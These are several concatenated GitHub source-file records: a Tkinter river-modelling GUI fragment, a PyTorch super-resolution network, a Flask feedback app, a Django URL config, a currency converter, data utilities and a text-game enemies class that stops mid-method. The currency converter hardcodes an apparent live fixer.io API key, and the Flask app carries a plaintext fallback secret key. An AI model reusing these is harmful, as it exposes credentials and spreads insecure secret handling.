open the file\\n\" + config.dir2mt + \".templates\\\\computation_extents.xlsx\")\n\n def del_cache(self):\n if askokcancel(\"Continue?\", \"This action will close River Architect and delete all .cache folders from the RiverArchitect/ folder tree.\\n Continue?\"):\n self.master.destroy()\n tk.Frame.quit(self)\n folder_tree = []\n [folder_tree.append(x[0]) for x in os.walk(config.dir2ra)]\n for f in folder_tree:\n if \".cache\" in str(f).lower():\n try:\n os.rmdir(f)\n self.logger.info(\"Deleted %s.\" % str(f))\n except:\n self.logger.info(\"ERROR: Could not remove %s.\" % str(f))\n\n def make_reach_menu(self, reachmenu):\n # reachmenu = tk.Menu object\n # refresh = BOOL\n if not self.reach_lookup_needed:\n reachmenu.add_command(label=\"DEFINE REACHES\", command=lambda: self.define_reaches())\n reachmenu.add_command(label=\"RE-BUILD MENU\", command=lambda: self.make_reach_menu(reachmenu))\n reachmenu.add_command(label=\"_____________________________\")\n reachmenu.add_command(label=\"ALL\", command=lambda: self.add_reach(\"\"))\n reachmenu.add_command(label=\"IGNORE (Use Raster extents)\", command=lambda: self.add_reach(\"ignore\"))\n reachmenu.add_command(label=\"CLEAR ALL\", command=lambda: self.add_reach(\"clear\"))\n reachmenu.add_command(label=\"_____________________________\")\n reachmenu.add_command(label=self.reaches.name_dict[\"reach_00\"], command=lambda: self.add_reach(\"reach_00\"))\n reachmenu.add_command(label=self.reaches.name_dict[\"reach_01\"], command=lambda: self.add_reach(\"reach_01\"))\n reachmenu.add_command(label=self.reaches.name_dict[\"reach_02\"], command=lambda: self.add_reach(\"reach_02\"))\n reachmenu.add_command(label=self.reaches.name_dict[\"reach_03\"], command=lambda: self.add_reach(\"reach_03\"))\n reachmenu.add_command(label=self.reaches.name_dict[\"reach_04\"], command=lambda: self.add_reach(\"reach_04\"))\n reachmenu.add_command(label=self.reaches.name_dict[\"reach_05\"], command=lambda: self.add_reach(\"reach_05\"))\n reachmenu.add_command(label=self.reaches.name_dict[\"reach_06\"], command=lambda: self.add_reach(\"reach_06\"))\n reachmenu.add_command(label=self.reaches.name_dict[\"reach_07\"], command=lambda: self.add_reach(\"reach_07\"))\n self.reach_lookup_needed = True\n else:\n # re-build reach names if workbook was modified\n self.reaches.names_xlsx = self.reader.get_reach_info(\"full_name\")\n self.reaches.name_dict = dict(zip(self.reaches.internal_id, self.reaches.names_xlsx))\n reachmenu.entryconfig(7, label=self.reaches.name_dict[\"reach_00\"])\n reachmenu.entryconfig(8, label=self.reaches.name_dict[\"reach_01\"])\n reachmenu.entryconfig(9, label=self.reaches.name_dict[\"reach_02\"])\n reachmenu.entryconfig(10, label=self.reaches.name_dict[\"reach_03\"])\n reachmenu.entryconfig(11, label=self.reaches.name_dict[\"reach_04\"])\n reachmenu.entryconfig(12, label=self.reaches.name_dict[\"reach_05\"])\n reachmenu.entryconfig(13, label=self.reaches.name_dict[\"reach_06\"])\n reachmenu.entryconfig(14, label=self.reaches.name_dict[\"reach_07\"])\n\n return reachmenu\n\n def make_standard_menus(self):\n # DROP DOWN MENU\n # the menu does not need packing - see page 44ff\n self.mbar = tk.Menu(self) # create new menubar\n self.master.config(menu=self.mbar) # attach it to the root window\n\n # UNIT SYSTEM DROP DOWN\n self.unitmenu = tk.Menu(self.mbar, tearoff=0) # create new menu\n self.mbar.add_cascade(label=\"Units\", menu=self.unitmenu) # attach it to the menubar\n self.unitmenu.add_command(label=\"[current] U.S. customary\", background=\"pale green\")\n self.unitmenu.add_command(label=\"[ ] SI (metric)\", command=lambda: self.unit_change())\n\n # TOOLS DROP DOWN\n self.toolsmenu = tk.Menu(self.mbar, tearoff=0) # create new menu\n self.mbar.add_cascade(label=\"Tools\", menu=self.toolsmenu) # attach it to the menubar\n self.toolsmenu.add_command(label=\"Delete .cache folders\", command=lambda: self.del_cache())\n # self.toolsmenu.add_command(label=\"Open rename files script\", command=lambda: self.call_idle(config.dir2ra + Tools/rename_files.py))\n\n # CLOSE DROP DOWN\n self.closemenu = tk.Menu(self.mbar, tearoff=0) # create new menu\n self.mbar.add_cascade(label=\"Close\", menu=self.closemenu) # attach it to the menubar\n self.closemenu.add_command(label=\"Credits\", command=lambda: self.show_credits())\n self.closemenu.add_command(label=\"Quit program\", command=lambda: self.quit_tab())\n\n def quit_tab(self):\n if askokcancel(\"Close\", \"Do you really want to quit?\"):\n tk.Frame.quit(self)\n\n def refresh_conditions(self, lb, sb, condition_dir):\n # lb = tk.ListBox of conditions\n # sb = tk.Scrollbar of conditions\n self.condition_list = fGl.get_subdir_names(condition_dir)\n try:\n lb.delete(0, tk.END)\n except:\n pass\n\n for e in self.condition_list:\n lb.insert(tk.END, e)\n sb.config(command=lb.yview)\n\n @staticmethod\n def set_bg_color(master_frame, bg_color):\n master_frame.config(bg=bg_color)\n for wid in master_frame.winfo_children():\n try:\n wid.configure(bg=bg_color)\n except:\n # some widget do not accept bg as kwarg\n pass\n\n def set_geometry(self, ww, wh, tab_title):\n # ww and wh = INT of window width and window height\n # Upper-left corner of the window.\n self.wx = (self.master.winfo_screenwidth() - ww) / 2\n self.wy = (self.master.winfo_screenheight() - wh) / 2\n # Set the height and location.\n self.master.geometry(\"%dx%d+%d+%d\" % (ww, wh, self.wx, self.wy))\n # Give the window a title.\n if __name__ == '__main__':\n self.master.title(tab_title)\n self.master.iconbitmap(config.dir2ra + \".site_packages\\\\templates\\\\code_icon.ico\")\n\n def show_credits(self):\n showinfo(\"Credits\", fGl.get_credits())\n\n def unit_change(self):\n if self.unit == \"si\":\n new_unit = \"us\"\n self.unitmenu.delete(0, 1)\n self.unitmenu.add_command(label=\"[current] U.S. customary\", background=\"pale green\")\n self.unitmenu.add_command(label=\"[ ] SI (metric)\", command=lambda: self.unit_change())\n self.master.bell()\n showinfo(\"UNIT CHANGE\", \"Unit system changed to U.S. customary.\")\n else:\n new_unit = \"si\"\n self.unitmenu.delete(0, 1)\n self.unitmenu.add_command(label=\"[ ] U.S. customary\", command=lambda: self.unit_change())\n self.unitmenu.add_command(label=\"[current] SI (metric)\", background=\"pale green\")\n self.master.bell()\n showinfo(\"UNIT CHANGE\", \"Unit system changed to SI (metric).\")\n self.unit = new_unit\n if self.unit == \"si\":\n self.q_unit = \"cms\"\n self.h_unit = \"m\"\n self.u_unit = \"m/s\"\n else:\n self.q_unit = \"cfs\"\n self.h_unit = \"ft\"\n self.u_unit = \"ft/s\"\n","repo_name":"RiverArchitect/program","sub_path":"child_gui.py","file_name":"child_gui.py","file_ext":"py","file_size_in_byte":11594,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"32"} +{"seq_id":"31028125711","text":"FLAG_CLASS = 0b1\nFLAG_METHOD = 0b10\nFLAG_FIELD = 0b100\n\n\nclass StrategyHandler:\n def __init__(self):\n self.strategies = []\n self.new_idx = 0\n\n def add_strategy(self, apply_strategy, flags):\n self.new_idx = len(self.strategies)\n self.strategies.append((flags, apply_strategy))\n\n def invoke_strategies(self, r_cas=tuple(), r_mas=tuple(), r_fas=tuple(), only_new=False):\n flags = 0\n if r_cas:\n flags |= FLAG_CLASS\n if r_mas:\n flags |= FLAG_METHOD\n if r_fas:\n flags |= FLAG_FIELD\n\n if only_new:\n s_idx = self.new_idx\n else:\n s_idx = 0\n for idx, (flag, strategy) in enumerate(self.strategies):\n if (s_idx > idx) or (flags & flag == 0):\n continue\n\n strategy(r_cas, r_mas, r_fas)\n","repo_name":"jaqxues/GraphGuard","sub_path":"core/strategy_handler.py","file_name":"strategy_handler.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"32"} +{"seq_id":"5463460633","text":"import functools\nimport torch\nfrom torch import nn\nimport torch.nn.functional as F\nfrom models.modules.architectures import block as B\nfrom models.modules.architectures.RRDBNet_arch import ResidualDenseBlock_5CM, RRDBM\nfrom options.options import opt_get\n\n\nclass RRDBNet(nn.Module):\n \"\"\" Modified RRDBNet\n \"\"\"\n def __init__(self, in_nc, out_nc, nf, nb, gc=32, scale=4, opt=None):\n super(RRDBNet, self).__init__()\n RRDB_block_f = functools.partial(RRDBM, nf=nf, gc=gc)\n\n self.conv_first = nn.Conv2d(in_nc, nf, 3, 1, 1, bias=True)\n self.RRDB_trunk = B.make_layer(RRDB_block_f, nb)\n self.trunk_conv = nn.Conv2d(nf, nf, 3, 1, 1, bias=True)\n #### upsampling\n self.upconv1 = nn.Conv2d(nf, nf, 3, 1, 1, bias=True)\n self.upconv2 = nn.Conv2d(nf, nf, 3, 1, 1, bias=True)\n \n ## SRFlow changes\n self.opt = opt\n self.scale = scale\n ## upsampling\n if self.scale >= 8:\n self.upconv3 = nn.Conv2d(nf, nf, 3, 1, 1, bias=True)\n if self.scale >= 16:\n self.upconv4 = nn.Conv2d(nf, nf, 3, 1, 1, bias=True)\n if self.scale >= 32:\n self.upconv5 = nn.Conv2d(nf, nf, 3, 1, 1, bias=True)\n ## /SRFlow changes\n\n self.HRconv = nn.Conv2d(nf, nf, 3, 1, 1, bias=True)\n self.conv_last = nn.Conv2d(nf, out_nc, 3, 1, 1, bias=True)\n\n self.lrelu = nn.LeakyReLU(negative_slope=0.2, inplace=True)\n\n def forward(self, x, get_steps=False):\n fea = self.conv_first(x)\n\n block_idxs = opt_get(self.opt, ['network_G', 'flow', 'stackRRDB', 'blocks']) or []\n block_results = {}\n\n for idx, m in enumerate(self.RRDB_trunk.children()):\n fea = m(fea)\n for b in block_idxs:\n if b == idx:\n block_results[\"block_{}\".format(idx)] = fea\n\n trunk = self.trunk_conv(fea)\n\n last_lr_fea = fea + trunk\n\n fea_up2 = self.upconv1(F.interpolate(last_lr_fea, scale_factor=2, mode='nearest'))\n fea = self.lrelu(fea_up2)\n\n fea_up4 = self.upconv2(F.interpolate(fea, scale_factor=2, mode='nearest'))\n fea = self.lrelu(fea_up4)\n\n fea_up8 = None\n fea_up16 = None\n fea_up32 = None\n\n if self.scale >= 8:\n fea_up8 = self.upconv3(F.interpolate(fea, scale_factor=2, mode='nearest'))\n fea = self.lrelu(fea_up8)\n if self.scale >= 16:\n fea_up16 = self.upconv4(F.interpolate(fea, scale_factor=2, mode='nearest'))\n fea = self.lrelu(fea_up16)\n if self.scale >= 32:\n fea_up32 = self.upconv5(F.interpolate(fea, scale_factor=2, mode='nearest'))\n fea = self.lrelu(fea_up32)\n\n out = self.conv_last(self.lrelu(self.HRconv(fea)))\n\n results = {'last_lr_fea': last_lr_fea,\n 'fea_up1': last_lr_fea,\n 'fea_up2': fea_up2,\n 'fea_up4': fea_up4,\n 'fea_up8': fea_up8,\n 'fea_up16': fea_up16,\n 'fea_up32': fea_up32,\n 'out': out}\n\n fea_up0_en = opt_get(self.opt, ['network_G', 'flow', 'fea_up0']) or False\n if fea_up0_en:\n results['fea_up0'] = F.interpolate(last_lr_fea, scale_factor=1/2, mode='bilinear', align_corners=False, recompute_scale_factor=True)\n fea_upn1_en = opt_get(self.opt, ['network_G', 'flow', 'fea_up-1']) or False\n if fea_upn1_en:\n results['fea_up-1'] = F.interpolate(last_lr_fea, scale_factor=1/4, mode='bilinear', align_corners=False, recompute_scale_factor=True)\n\n if get_steps:\n for k, v in block_results.items():\n results[k] = v\n return results\n else:\n return out\n","repo_name":"victorca25/traiNNer","sub_path":"codes/models/modules/architectures/SRFlow/RRDBNet_arch.py","file_name":"RRDBNet_arch.py","file_ext":"py","file_size_in_byte":3753,"program_lang":"python","lang":"en","doc_type":"code","stars":262,"dataset":"github-code","pt":"32"} +{"seq_id":"17481299251","text":"\nfrom flask import Flask, render_template, request, flash, redirect, session\nfrom flask_debugtoolbar import DebugToolbarExtension\nfrom models import connect_db, User, Feedback, db\nfrom form import RegisterForm, LoginForm, FeedbackForm\nfrom sqlalchemy.exc import IntegrityError, SAWarning\nfrom markupsafe import escape\nfrom utils import is_user_in_session, redirect_to_login_with_flash_message\nimport os\n\napp = Flask(__name__)\n\ndatabase_url = os.environ.get('DATABASE_URL', 'postgresql:///feedback')\ndatabase_url = database_url.replace('postgres://', 'postgresql://')\napp.config.update(\n SQLALCHEMY_DATABASE_URI=database_url,\n SQLALCHEMY_TRACK_MODIFICATIONS=False,\n # SQLALCHEMY_ECHO=True,\n SECRET_KEY=os.environ.get('SECRET_KEY', 'something_simple_shhh'),\n DEBUG_TB_INTERCEPT_REDIRECTS=False\n)\n\n# connect db\nconnect_db(app)\n\ndebug = DebugToolbarExtension(app)\n\n# db.drop_all()\n# db.create_all()\n\n@app.errorhandler(404)\ndef page_not_found(err):\n \"\"\" Custom 404 page when url not found\"\"\"\n return render_template('404.html'), 404\n\n# GET / \n# Redirect to /register.\n\n@app.route('/')\ndef home():\n \"\"\" Home route \"\"\"\n try:\n user = User.query.get_or_404(session['username'])\n if is_user_in_session(user.username):\n return redirect(f'/users/{user.username}')\n except KeyError:\n return redirect('/register')\n return redirect('/register')\n \n\n# GET /register\n# POST /register\n# Process the registration form by adding a new user. Then redirect to /users/\n@app.route('/register', methods=[\"GET\", \"POST\"])\ndef register_user():\n \"\"\" Register route ( register a new user ) \"\"\"\n form = RegisterForm()\n\n if form.validate_on_submit():\n # get user data from form exclude csrf_token key\n user_dict = {k: form.data[k] for k in form.data if k != 'csrf_token'}\n # register user and hash password\n user = User.register_user(user_dict['username'], user_dict['password'])\n # enter the rest of the data that was submitted\n user.email = user_dict['email']\n user.first_name = user_dict['first_name']\n user.last_name = user_dict['last_name']\n\n \n try: # try to enter username or email if error render register page again\n db.session.add(user)\n db.session.commit()\n except IntegrityError:\n # failed so we rollback whatever data was in the session\n db.session.rollback()\n # add an error to be displayed via client form\n form.username.errors.append('Username taken, Please enter a different username')\n form.email.errors.append('Email taken, Please enter a different email')\n flash(\"Invalid credentials\", \"danger\")\n # render client to try to register again\n return render_template('register.html', form=form)\n\n # add user to the client session\n session['username'] = user.username\n flash(\"Successfully Registered\", \"success\")\n # redirect to protected route\n return redirect(f'/users/{user.username}')\n return render_template('register.html', form=form)\n\n# GET /login\n# Shows a form that when submitted will login a user. \n# This form accepts a username and a password.\n# POST /login\n# Processes the login form, ensuring the user is authenticated and going to /users/.\n@app.route('/login', methods=[\"GET\", \"POST\"])\ndef get_login():\n \"\"\" Get login form route \"\"\"\n form = LoginForm()\n\n # only true if it's a POST route\n if form.validate_on_submit():\n username = form.username.data\n password = form.password.data\n # check credential for a match in the database\n if User.authenticate_user(username, password):\n flash(f'Welcome {username}', 'success')\n session['username'] = username\n return redirect(f'/users/{username}')\n else:\n # user did not enter valid credetials\n flash('Wrong credentials', 'danger')\n return render_template('login.html', form=form)\n\n # Get route\n return render_template('login.html', form=form)\n\n\n# GET /logout\n@app.route('/logout')\ndef logout_user():\n \"\"\" Logout user route \"\"\"\n session.pop('username')\n flash('Signed out successful', 'success')\n return redirect('/')\n\n\n# GET /users/\n@app.route('/users/')\ndef user_details(username):\n # escape characters\n username = escape(username)\n \"\"\" User details ( protected route )\"\"\"\n user = User.query.get_or_404(username)\n if is_user_in_session(user.username):\n # access \n feedbacks = Feedback.query.filter_by(username_key=user.username)\n return render_template('user-details.html', user=user, feedbacks=feedbacks)\n else:\n # user does not have access\n return redirect_to_login_with_flash_message('Can\\'t do that please login', 'danger')\n\n\n# POST /users//delete\n# Remove the user from the database and make sure to also delete all of their feedback. \n# Clear any user information in the session and redirect to /. \n# Make sure that only the user who is logged in can successfully delete their account\n@app.route('/users//delete', methods=[\"POST\"])\ndef delete_user(username):\n \"\"\" Delete user \"\"\"\n user = User.query.get_or_404(username)\n if is_user_in_session(user.username):\n # access\n db.session.delete(user)\n db.session.commit()\n session.pop('username') # remove user from session\n flash('User Deleted', 'danger')\n return redirect('/login')\n else:\n # can't delete user redirect\n return redirect_to_login_with_flash_message('Can\\'t do that please login', 'danger')\n\n# *****************************************\n# **************** FEEDBACK ***************\n# *****************************************\n\n# GET /users//feedback/add\n# Displays a form to add feedback.\n# Only the user who is logged in can see this form\n\n# POST /users//feedback/add\n# Adds a new piece of feedback and redirects to /users/ — \n@app.route('/users//feedback/add', methods=[\"GET\", \"POST\"])\ndef add_feedback(username):\n \"\"\" Add feddback route \"\"\"\n username = escape(username)\n user = User.query.get_or_404(username)\n\n if is_user_in_session(user.username):\n # User is in session\n form = FeedbackForm()\n # POST\n if form.validate_on_submit():\n fb = {k: form.data[k] for k in form.data if k != 'csrf_token'}\n feedback = Feedback(**fb, username_key=user.username)\n db.session.add(feedback)\n db.session.commit()\n flash('Feedback added successfully', 'success')\n return redirect(f'/users/{user.username}')\n # GET\n return render_template('add-feedback.html', form=form)\n else:\n # User is not in session\n return redirect_to_login_with_flash_message('Can\\'t do that please login', 'danger')\n\n\n# GET /feedback//update\n# Displays a form to edit feedback —\n# POST /feedback//update\n# Updates a specific piece of feedback and redirects to /users/ — \n@app.route('/feedback//update', methods=[\"GET\", \"POST\"])\ndef update_feedback(feedback_id):\n \"\"\" Update feedback route \"\"\"\n # Is the user in session match\n try:\n feedback = Feedback.query.filter_by(id=feedback_id).first()\n username = feedback.username_key\n if is_user_in_session(username):\n form = FeedbackForm()\n # POST\n if form.validate_on_submit():\n fb = {k: form.data[k] for k in form.data if k != 'csrf_token'}\n feedback.title = fb['title']\n feedback.content = fb['content']\n db.session.commit()\n flash('Feedback updated', 'success')\n return redirect(f'/users/{username}')\n # GET\n # prepopulate form with current feedback information\n form = FeedbackForm(obj=feedback)\n return render_template('edit-feedback.html', form=form, feedback=feedback)\n except AttributeError:\n return redirect_to_login_with_flash_message('Can\\'t do that please login', 'danger')\n \n return redirect_to_login_with_flash_message('Can\\'t do that please login', 'danger')\n\n# POST /feedback//delete\n# Delete a specific piece of feedback and redirect to /users/ — \n@app.route('/feedback//delete', methods=[\"POST\"])\ndef delete_feedback(feedback_id):\n \"\"\" Deletes a feedback \"\"\"\n try:\n feedback = Feedback.query.filter_by(id=feedback_id).first()\n username = feedback.username_key\n if is_user_in_session(username):\n # user has access\n db.session.delete(feedback)\n db.session.commit()\n flash('Deleted Feedback', 'danger')\n return redirect(f'/users/{username}')\n except AttributeError:\n return redirect_to_login_with_flash_message('Can\\'t do that please login', 'danger')\n return redirect_to_login_with_flash_message('Can\\'t do that please login', 'danger')","repo_name":"eddieaviles357/flask-feedback","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":9156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2520606094","text":"\"\"\"gererInterventions URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.9/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Add an import: from blog import urls as blog_urls\n 2. Import the include() function: from django.conf.urls import url, include\n 3. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls))\n\"\"\"\nfrom django.conf.urls import url,include\nfrom django.contrib import admin\nfrom django.views.generic import TemplateView,RedirectView\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^$', RedirectView.as_view(url='/interventions')),\n url(r'^interventions$', TemplateView.as_view(template_name='home.html'), name='home'),\n url(r'^create/$', TemplateView.as_view(template_name='create_intervention.html'), name='create_intervention'),\n url(r'^interventions/:id/$', TemplateView.as_view(template_name='intervention_detail.html'), name='intervention_detail'),\n url(r'^api/interventions/', include('interventions.urls')),\n url(r'^favicon\\.ico$',RedirectView.as_view(url='/static/images/favicon.ico')),\n]\n","repo_name":"halinh/gererInterventions","sub_path":"gererInterventions/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14223001783","text":"def myconverter(a, b, value): # a - currency to be converted, b - converted currency, input -input value(USD, EUR, 2.05)\r\n import json, urllib.request\r\n a, b = a.upper(), b.upper()\r\n base_url = \"http://data.fixer.io/api/latest?access_key=\"\r\n key =\"ee4fda7b5b36f34e068f26b877ae795c\"\r\n symbols = \"&symbols=\" + a + \",\" + b\r\n\r\n FullLenghtURL = base_url + key + symbols\r\n with urllib.request.urlopen(FullLenghtURL) as url:\r\n data = json.loads(url.read().decode())\r\n\r\n a = data[\"rates\"][a]\r\n b = data[\"rates\"][b]\r\n return round(value * (b/a), 2) #HUF to USD\r\n\r\ndef main():\r\n a = input(\"code of starting currency (EUR, USD, RUB, etc.): \")\r\n b = input(\"code of currency you would like to convert into: \")\r\n m_input = int(input(\"How much would you like to convert? \"))\r\n print(m_input, a, \"==\", myconverter(a, b, m_input), b)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"aeternum-dev/Simple-Currency-Converter","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72332810331","text":"\"\"\"Utility functions for organizing dataset's data.\"\"\"\nimport numpy as np\n\nfrom frites.io import set_log_level, logger\nfrom frites.config import CONFIG\n\n\ndef multi_to_uni_conditions(x, var_name=None, verbose=None):\n \"\"\"Convert a discret vector that contains multiple conditions.\n\n This function can be used to convert a list of discret arrays, each\n reflecting possibly multivariate stimulus or conditions.\n\n Parameters\n ----------\n x : list\n List of multi-variate conditions. Each element of the list is an array\n of shape (n_trials, n_conditions), where the number of trials can\n varies across elements of the list but they all have to have the same\n number of conditions\n var_name : string | None\n The name of the variable (usefull for debugging)\n\n Returns\n -------\n x_new : list\n List of remapped conditions where each element of the list has a shape\n of (n_trials,)\n \"\"\"\n set_log_level(verbose)\n # =============================== Checking ================================\n\n if not isinstance(x, (list, tuple)):\n return [x]\n assert all([type(x[0]) == type(k) for k in x])\n if not isinstance(x[0], np.ndarray):\n return x\n # get if all variables are integers and multicolumns else skip it\n is_int = all([k.dtype in CONFIG['INT_DTYPE'] for k in x])\n is_ndim = all([k.ndim > 1 for k in x])\n if not is_int or not is_ndim:\n return x\n # test that all dimensions are equals\n same_dim = all([k.ndim == x[0].ndim for k in x])\n if not same_dim and isinstance(var_name, str):\n assert ValueError(f\"Every array in the `{var_name}` input should \"\n \"have the same number of dimensions\")\n # otherwise find all possible pairs\n x_all = np.concatenate(x, axis=0)\n idx = np.unique(x_all, axis=0, return_index=True)[1]\n u_cat = x_all[sorted(idx), :]\n # show to the user the new categories\n user = []\n for n_c, cat in enumerate(u_cat):\n user += [f\"{n_c}: [{', '.join([str(c) for c in cat])}]\"]\n if isinstance(var_name, str):\n logger.debug(f\" The `{var_name}` input contains multiple conditions\"\n f\" that have been remapped to : {'; '.join(user)}\")\n # loop over subjects\n x_new = []\n for k in range(len(x)):\n x_cat = np.full((x[k].shape[0],), -1, dtype=int)\n for n_c, cat in enumerate(u_cat):\n x_cat[np.equal(x[k], cat.reshape(1, -1)).all(1)] = n_c\n assert x_cat.min() > -1, \"Not all values have been replaced\"\n x_new += [x_cat]\n\n return x_new\n\n\nif __name__ == '__main__':\n y = [0, 0, 1, 1, 2, 1]\n z = [0, 1, 0, 0, 1, 2]\n # result = [0, 1, 1, 1, 2, 2]\n x = np.c_[y, z]\n x = None\n x_new = multi_to_uni_conditions([x], 'x', verbose='debug')\n print(x_new)\n","repo_name":"brainets/frites","sub_path":"frites/dataset/ds_utils.py","file_name":"ds_utils.py","file_ext":"py","file_size_in_byte":2837,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"32"} +{"seq_id":"86480497696","text":"from django.shortcuts import get_object_or_404\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom .serializers import UserSerializer\nfrom .models import User\nfrom .utils.verifydatautils import VerifyDataUtils\n\nverify = VerifyDataUtils()\n\n@api_view(['GET'])\ndef getAllUsers(request, *args, **kwargs):\n usSections = User.objects.all()\n serializer = UserSerializer(usSections, many=True)\n return Response({\"status\": \"success\", \"data\": serializer.data}, status=status.HTTP_200_OK)\n\n@api_view(['GET'])\ndef getOneUserById(request, id):\n usSections = get_object_or_404(User, id=id)\n serializer = UserSerializer(usSections)\n return Response({\"status\": \"success\", \"data\": serializer.data}, status=status.HTTP_200_OK)\n\n@api_view(['POST'])\ndef createNewUser(request):\n newData = request.data\n verifyControl = verify.verifyEmptyData(newData, 'userEndpoint')\n if not verifyControl:\n return Response({\"status\": \"failed\", \"data\": \"Wrong data\"}, status=status.HTTP_400_BAD_REQUEST)\n control = User.objects.filter(email=newData['email'])\n if control:\n return Response({\"status\": \"failed\", \"data\": \"Email duplicated\"}, status=status.HTTP_400_BAD_REQUEST)\n serializer = UserSerializer(data=newData)\n if serializer.is_valid():\n serializer.save()\n return Response({\"status\": \"success\", \"data\": serializer.data}, status=status.HTTP_201_CREATED)\n else:\n return Response({\"status\": \"failed\", \"data\": serializer.errors}, status=status.HTTP_400_BAD_REQUEST)\n","repo_name":"sebas-dev-lab/bx_api_djar","sub_path":"api/authorization/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12256595552","text":"import os\nimport random as rnd\nimport board\nfrom pynput import keyboard\nimport time\n\n\nclass enemies:\n\n name = {\n 0: \"none\",\n 1: \"phoenix\",\n 2: \"water nymph\",\n 3: \"harpy\",\n 4: \"gryph\",\n 5: \"dryad\",\n 6: \"golem\",\n 7: \"ice golem\",\n 8: \"pegasus\",\n 9: \"dragon\",\n 10: \"unicorn\",\n 11: \"shadow\"\n }\n\n exp_worth ={\n 0 : 0,\n 1 : 12,\n 2 : 8,\n 3 : 5,\n 4 : 14,\n 5 : 16,\n 6 : 18,\n 7 : 16,\n 8 : 14,\n 9 : 24,\n 10: 14,\n 11: 20\n }\n\n\n weaknesses = {\n 0: \"weak\",\n 1: \"nrml\",\n 2: \"strg\"\n }\n\n enemy_attacks = {\n 0 : \"fire ball\",\n 1 : \"blazing hell\",\n 2 : \"fire from the sky\",\n 3 : \"peek\",\n 4 : \"bite\",\n 5 : \"water wave\",\n 6 : \"thunder\",\n 7 : \"shadow ambush\",\n 8 : \"light ray\",\n 9 : \"wind blow\",\n 10: \"ice cold rain\",\n 11: \"thunderstorm\",\n 12: \"blinding light\",\n 13: \"absolute darkness\",\n 14: \"slash\",\n 15: \"heavy blow\",\n 16: \"crush\",\n 17: \"ice spikes\",\n 18: \"rainbow\",\n }\n\n enemy_attacks_p = {\n 0 : [],\n 1 : [0, 1, 2, 3, 4],\n 2 : [5, 9, 10, 17],\n 3 : [3, 9],\n 4 : [3, 9, 14, 15],\n 5 : [14, 10, 9, 6, 11],\n 6 : [16, 15, 14, 4],\n 7 : [16, 15, 14, 17, 10],\n 8 : [8, 9, 4],\n 9 : [1, 2, 9, 16],\n 10: [12, 13, 18],\n 11: [16, 7, 13]\n }\n\n enemy_attacks_damage = {\n 0 : 3,\n 1 : 7,\n 2 : 4,\n 3 : 2,\n 4 : 2,\n 5 : 4,\n 6 : 5,\n 7 : 5,\n 8 : 5,\n 9 : 4,\n 10: 6,\n 11: 7,\n 12: 7,\n 13: 8,\n 14: 4,\n 15: 5,\n 16: 7,\n 17: 6,\n 18: 8\n }\n\n enemy_attacks_elements = {\n 0 : 2,\n 1 : 2,\n 2 : 2,\n 3 : 0,\n 4 : 0,\n 5 : 3,\n 6 : 5,\n 7 : 6,\n 8 : 7,\n 9 : 4,\n 10: 3,\n 11: 5,\n 12: 7,\n 13: 6,\n 14: 0,\n 15: 0,\n 16: 0,\n 17: 3,\n 18: 7\n }\n\n enemy_hp = {\n 0 : 0,\n 1 : 150,\n 2 : 120,\n 3 : 80,\n 4 : 160,\n 5 : 200,\n 6 : 220,\n 7 : 220,\n 8 : 180,\n 9 : 300,\n 10: 170,\n 11: 250\n }\n\n enemy_rec = {\n 0 : [0, 0, 0, 0, 0, 0, 0, 0],\n 1 : [1, 0, 2, 0, 0, 2, 1, 0],\n 2 : [1, 1, 0, 2, 2, 0, 0, 1],\n 3 : [1, 0, 0, 2, 0, 1, 1, 1],\n 4 : [1, 0, 1, 2, 0, 2, 1, 1],\n 5 : [1, 1, 0, 2, 1, 2, 0, 2],\n 6 : [2, 2, 1, 0, 2, 2, 0, 0],\n 7 : [1, 2, 0, 2, 1, 2, 0, 1],\n 8 : [1, 1, 0, 2, 1, 0, 0, 2],\n 9 : [2, 1, 2, 1, 2, 1, 0, 0],\n 10: [0, 1, 0, 2, 1, 1, 0, 2],\n 11: [2, 2, 1, 2, 1, 1, 2, 0]\n }\n\n\n exp_pull = 0\n\n enemy1 = 0\n hp1 = 0\n maxhp1 = 0\n rec1 = [0, 0, 0, 0, 0, 0, 0, 0]\n\n enemy2 = 0\n hp2 = 0\n maxhp2 = 0\n rec2 = [0, 0, 0, 0, 0, 0, 0, 0]\n\n enemy3 = 0\n hp3 = 0\n maxhp3 = 0\n rec3 = [0, 0, 0, 0, 0, 0, 0, 0]\n\n def __init__(self):\n x = rnd.randint(1, 3)\n for i in range(0, x):\n if i == 0:\n j = rnd.randint(1, 10)\n self.enemy1 = j\n self.rec1 = self.enemy_rec[j]\n self.hp1 = self.enemy_hp[j]\n self.maxhp1 = self.enemy_hp[j]\n self.exp_pull += self.exp_worth[j]\n\n if i == 1:\n j = rnd.randint(1, 10)\n self.enemy2 = j\n self.rec2 = self.enemy_rec[j]\n self.hp2 = self.enemy_hp[j]\n self.maxhp2 = self.enemy_hp[j]\n self.exp_pull += self.exp_worth[j]\n\n if i == 2:\n j = rnd.randint(1, 10)\n self.enemy3 = j\n self.rec3 = self.enemy_rec[j]\n self.hp3 = 